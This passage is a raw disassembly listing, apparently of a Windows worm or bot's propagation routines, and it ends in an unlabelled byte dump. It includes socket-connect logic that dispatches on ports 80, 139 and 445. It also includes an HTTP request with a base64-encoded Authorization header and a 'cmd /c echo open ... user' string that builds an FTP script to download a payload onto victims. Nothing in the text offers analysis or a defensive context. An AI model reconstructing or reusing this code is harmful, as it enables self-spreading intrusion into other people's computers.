arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40CEA7 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40CEAB loc_40CEA7: ; CODE XREF: sub_40CE40+54j xor eax, eax jmp short loc_40CEBB ; --------------------------------------------------------------------------- loc_40CEAB: ; CODE XREF: sub_40CE40+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CAF8C loc_40CEBB: ; CODE XREF: sub_40CE40+69j pop edi pop esi leave retn sub_40CE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p ; sub_40CF04+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CAF70 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 4 jz short loc_40CEE9 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEE9: ; CODE XREF: sub_40CEBF+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CAFC4 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p ; ___:0040D452p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2D xor al, al jmp loc_40CFD9 ; --------------------------------------------------------------------------- loc_40CF2D: ; CODE XREF: sub_40CF04+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_431CDC push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_431D0C push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CDC8C push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_431C54 push ebx call sub_40CEBF add esp, 48h test al, al jnz short loc_40CF95 loc_40CF91: ; CODE XREF: sub_40CF04+B5j xor bl, bl jmp short loc_40CFD0 ; --------------------------------------------------------------------------- loc_40CF95: ; CODE XREF: sub_40CF04+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 push [ebp+var_4] push esi push ebx call sub_40CEBF add esp, 1Ch test al, al jz short loc_40CF91 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 add esp, 10h mov bl, 1 loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFD9: ; CODE XREF: sub_40CF04+24j pop edi pop esi pop ebx leave retn sub_40CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDE proc near ; CODE XREF: ___:0040D438p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_431D18 push [ebp+arg_0] call near ptr 71AB1AF4h nop cmp eax, 48h jnz short loc_40D019 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE40 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D019 cmp [ebp+var_20], 82h jz short loc_40D01D loc_40D019: ; CODE XREF: sub_40CFDE+1Bj ; sub_40CFDE+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01D: ; CODE XREF: sub_40CFDE+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF04 add esp, 0Ch leave retn sub_40CFDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427690 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427688 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D030 endp ; =============== S U B R O U T I N E ======================================= sub_40D07C proc near ; CODE XREF: sub_40D21E+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B3 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D030 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BE push edi push eax lea ecx, [ebp-38h] call sub_40D62E loc_40D0BE: ; CODE XREF: sub_40D07C+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DB mov ebx, [ebp+10h] loc_40D0CD: ; CODE XREF: sub_40D07C+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D7 push 3 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0D7: ; CODE XREF: sub_40D07C+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E1 push 2 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EA push 1 loc_40D0E9: ; CODE XREF: sub_40D07C+59j ; sub_40D07C+63j pop ebx loc_40D0EA: ; CODE XREF: sub_40D07C+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4276A0 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D129 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D129: ; CODE XREF: sub_40D07C+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D197 add [ebp-18h], eax loc_40D17B: ; CODE XREF: sub_40D07C+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_431D64[eax] push eax push 1 call sub_40D4B0 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17B loc_40D197: ; CODE XREF: sub_40D07C+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B5 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D509 mov [ebp-18h], edi loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1CF sub esi, [ebp-1Ch] loc_40D1C0: ; CODE XREF: sub_40D07C+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B0 dec esi jnz short loc_40D1C0 loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj cmp [ebp+10h], edi ja loc_40D0CD push 1 pop ebx loc_40D1DB: ; CODE XREF: sub_40D07C+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B3 push dword_427698 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D560 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B3 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07C endp ; =============== S U B R O U T I N E ======================================= sub_40D21E proc near ; CODE XREF: ___:0040D41Bp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset dword_43D128 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07C mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D268 xor bl, bl jmp short loc_40D2AC ; --------------------------------------------------------------------------- loc_40D268: ; CODE XREF: sub_40D21E+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A8 cmp ecx, ebx jnz short loc_40D276 mov ecx, eax loc_40D276: ; CODE XREF: sub_40D21E+54j cmp [ebp+18h], ebx jz short loc_40D27E mov eax, [ebp+18h] loc_40D27E: ; CODE XREF: sub_40D21E+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, esi jz short loc_40D2A3 xor bl, bl jmp short loc_40D2A5 ; --------------------------------------------------------------------------- loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj mov bl, 1 loc_40D2A5: ; CODE XREF: sub_40D21E+83j push edi call sub_41B0B1 pop ecx loc_40D2AC: ; CODE XREF: sub_40D21E+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B3 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B3 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_431F10 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CACB0 push eax push dword ptr [ebp+8] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_431DA8 push eax call sub_40CADA xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D377 xor eax, eax jmp loc_40D4A3 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: ___:0040D36Ej mov [ebp-0Ch], esi loc_40D37A: ; CODE XREF: ___:0040D47Aj test esi, esi jnz loc_40D480 push 6 push 1 push 2 call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D468 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CAF74 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CAFB4 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_40D45D cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D425 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B3 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6EF push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21E add esp, 1Ch jmp short loc_40D45A ; --------------------------------------------------------------------------- loc_40D425: ; CODE XREF: ___:0040D3E3j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D43F push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDE jmp short loc_40D457 ; --------------------------------------------------------------------------- loc_40D43F: ; CODE XREF: ___:0040D42Fj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF04 loc_40D457: ; CODE XREF: ___:0040D43Dj add esp, 0Ch loc_40D45A: ; CODE XREF: ___:0040D423j movzx esi, al loc_40D45D: ; CODE XREF: ___:0040D3D6j ; ___:0040D449j push ebx call dword_4CB00C test esi, esi jnz short loc_40D473 loc_40D468: ; CODE XREF: ___:0040D393j push 3E8h call near ptr 26903FCh nop loc_40D473: ; CODE XREF: ___:0040D466j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37A loc_40D480: ; CODE XREF: ___:0040D37Cj lea ecx, [ebp-8] call sub_40C8FF test esi, esi jz short loc_40D4A1 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431410[eax] lea eax, dword_431410[eax] loc_40D4A1: ; CODE XREF: ___:0040D48Aj mov eax, esi loc_40D4A3: ; CODE XREF: ___:0040D372j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A8: ; CODE XREF: sub_426DD8+3j ; ___:00426DF1j ... push 1 call sub_40D6B3 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p ; sub_40D07C+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CA call sub_42669A loc_40D4CA: ; CODE XREF: sub_40D4B0+13j test ebx, ebx jbe short loc_40D501 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D501 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D501: ; CODE XREF: sub_40D4B0+1Cj ; sub_40D4B0+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D509 proc near ; CODE XREF: sub_40D07C+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D523 call sub_42669A loc_40D523: ; CODE XREF: sub_40D509+13j test ebx, ebx jbe short loc_40D558 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D558 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D558: ; CODE XREF: sub_40D509+1Cj ; sub_40D509+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D578 call sub_426573 loc_40D578: ; CODE XREF: sub_40D560+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58A mov esi, [ebp+arg_8] loc_40D58A: ; CODE XREF: sub_40D560+25j cmp edi, ebx jnz short loc_40D5AC push dword_427698 add esi, ecx mov ecx, edi push esi call sub_40D724 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D724 jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5AC: ; CODE XREF: sub_40D560+2Cj test esi, esi jbe short loc_40D5EF cmp esi, eax jnz short loc_40D5EF mov eax, [ebx+4] test eax, eax jnz short loc_40D5C0 mov eax, offset dword_4276A8 loc_40D5C0: ; CODE XREF: sub_40D560+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5EF push 1 mov ecx, edi call sub_40D6B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DB mov eax, offset dword_4276A8 loc_40D5DB: ; CODE XREF: sub_40D560+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5EF: ; CODE XREF: sub_40D560+4Ej ; sub_40D560+52j ... push 1 push esi mov ecx, edi call sub_40D62E test al, al jz short loc_40D625 mov eax, [ebx+4] test eax, eax jnz short loc_40D609 mov eax, offset dword_4276A8 loc_40D609: ; CODE XREF: sub_40D560+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D625: ; CODE XREF: sub_40D560+4Aj ; sub_40D560+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D560 endp ; =============== S U B R O U T I N E ======================================= sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp ; sub_40D4B0+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D640 call sub_42669A loc_40D640: ; CODE XREF: sub_40D62E+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D669 mov al, [ecx-1] cmp al, dl jz short loc_40D669 cmp al, 0FFh jz short loc_40D669 cmp edi, edx jnz short loc_40D6A4 dec al push edx mov [ecx-1], al loc_40D65E: ; CODE XREF: sub_40D62E+47j mov ecx, esi call sub_40D6B3 loc_40D665: ; CODE XREF: sub_40D62E+4Bj ; sub_40D62E+52j xor al, al jmp short loc_40D6AE ; --------------------------------------------------------------------------- loc_40D669: ; CODE XREF: sub_40D62E+19j ; sub_40D62E+20j ... cmp edi, edx jnz short loc_40D682 cmp [esp+8+arg_4], dl jz short loc_40D677 push 1 jmp short loc_40D65E ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D62E+43j cmp ecx, edx jz short loc_40D665 mov [esi+8], edx mov [ecx], dl jmp short loc_40D665 ; --------------------------------------------------------------------------- loc_40D682: ; CODE XREF: sub_40D62E+3Dj cmp [esp+8+arg_4], dl jz short loc_40D69F mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D694 cmp eax, edi jnb short loc_40D6AC loc_40D694: ; CODE XREF: sub_40D62E+60j push 1 mov ecx, esi call sub_40D6B3 jmp short loc_40D6A4 ; --------------------------------------------------------------------------- loc_40D69F: ; CODE XREF: sub_40D62E+58j cmp [esi+0Ch], edi jnb short loc_40D6AC loc_40D6A4: ; CODE XREF: sub_40D62E+28j ; sub_40D62E+6Fj push edi mov ecx, esi call sub_40D78B loc_40D6AC: ; CODE XREF: sub_40D62E+64j ; sub_40D62E+74j mov al, 1 loc_40D6AE: ; CODE XREF: sub_40D62E+39j pop edi pop esi retn 8 sub_40D62E endp ; =============== S U B R O U T I N E ======================================= sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp ; sub_40D07C+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6DF mov eax, [esi+4] test eax, eax jz short loc_40D6DF lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D8 cmp al, 0FFh jz short loc_40D6D8 dec al mov [ecx], al jmp short loc_40D6DF ; --------------------------------------------------------------------------- loc_40D6D8: ; CODE XREF: sub_40D6B3+19j ; sub_40D6B3+1Dj push ecx call sub_41CC83 pop ecx loc_40D6DF: ; CODE XREF: sub_40D6B3+8j ; sub_40D6B3+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp ; sub_40D848+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62E test al, al jz short loc_40D71D push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71D: ; CODE XREF: sub_40D6EF+12j mov eax, esi pop edi pop esi retn 8 sub_40D6EF endp ; =============== S U B R O U T I N E ======================================= sub_40D724 proc near ; CODE XREF: sub_40D560+39p ; sub_40D560+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D737 call sub_426573 loc_40D737: ; CODE XREF: sub_40D724+Cj mov ecx, edi call sub_40D848 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74D mov ebx, eax loc_40D74D: ; CODE XREF: sub_40D724+25j test ebx, ebx jbe short loc_40D783 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62E test al, al jz short loc_40D783 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D783: ; CODE XREF: sub_40D724+2Bj ; sub_40D724+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D724 endp ; =============== S U B R O U T I N E ======================================= sub_40D78B proc near ; CODE XREF: sub_40D62E+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B1 mov edi, [ebp+8] loc_40D7B1: ; CODE XREF: sub_40D78B+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BE xor eax, eax loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7EF ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7D9 xor eax, eax loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7E9 retn ; --------------------------------------------------------------------------- loc_40D7E9: ; DATA XREF: sub_40D78B+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80D cmp eax, edi jbe short loc_40D7FC mov eax, edi loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80D: ; CODE XREF: sub_40D78B+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B3 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82D mov edi, ebx loc_40D82D: ; CODE XREF: sub_40D78B+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78B endp ; =============== S U B R O U T I N E ======================================= sub_40D848 proc near ; CODE XREF: sub_40D724+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D875 mov al, [esi-1] test al, al jz short loc_40D875 cmp al, 0FFh jz short loc_40D875 push 1 call sub_40D6B3 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6EF loc_40D875: ; CODE XREF: sub_40D848+9j ; sub_40D848+10j ... pop edi pop esi retn sub_40D848 endp ; =============== S U B R O U T I N E ======================================= sub_40D878 proc near ; DATA XREF: ___:00429008o test byte_4DB594, 1 jnz short loc_40D888 or byte_4DB594, 1 loc_40D888: ; CODE XREF: sub_40D878+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D878 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89A proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40D89A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D89F proc near mov eax, dword_4321C8 add eax, 6 mov dword_4CDC94, eax retn sub_40D89F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p ; ___:0040DE0Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C1 or [ebp+arg_7], 1 jmp short loc_40D8C5 ; --------------------------------------------------------------------------- loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj and [ebp+arg_7], 0FEh loc_40D8C5: ; CODE XREF: sub_40D8AD+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8E9 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FB ; --------------------------------------------------------------------------- loc_40D8E9: ; CODE XREF: sub_40D8AD+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D994 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 2700000h test eax, eax jz short loc_40D98B mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98B push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D987 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AD add esp, 2Ch jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D987: ; CODE XREF: sub_40D8AD+B3j mov al, 1 jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj ; sub_40D8AD+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D994: ; CODE XREF: sub_40D8AD+61j xor al, al loc_40D996: ; CODE XREF: sub_40D8AD+D8j ; sub_40D8AD+DCj pop edi pop esi pop ebx leave retn sub_40D8AD endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ▀ db 0ECh ; Л db 0B8h ; ╦ db 0DCh ; э db 60h ; ` db 0 db 0 db 0E8h ; Х db 78h ; x db 0E1h ; А db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 0BCh ; ╪ db 0D4h ; т db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; Х db 0A8h ; ╗ db 0F7h ; В db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; ш db 85h ; ┘ db 0C0h ; ю db 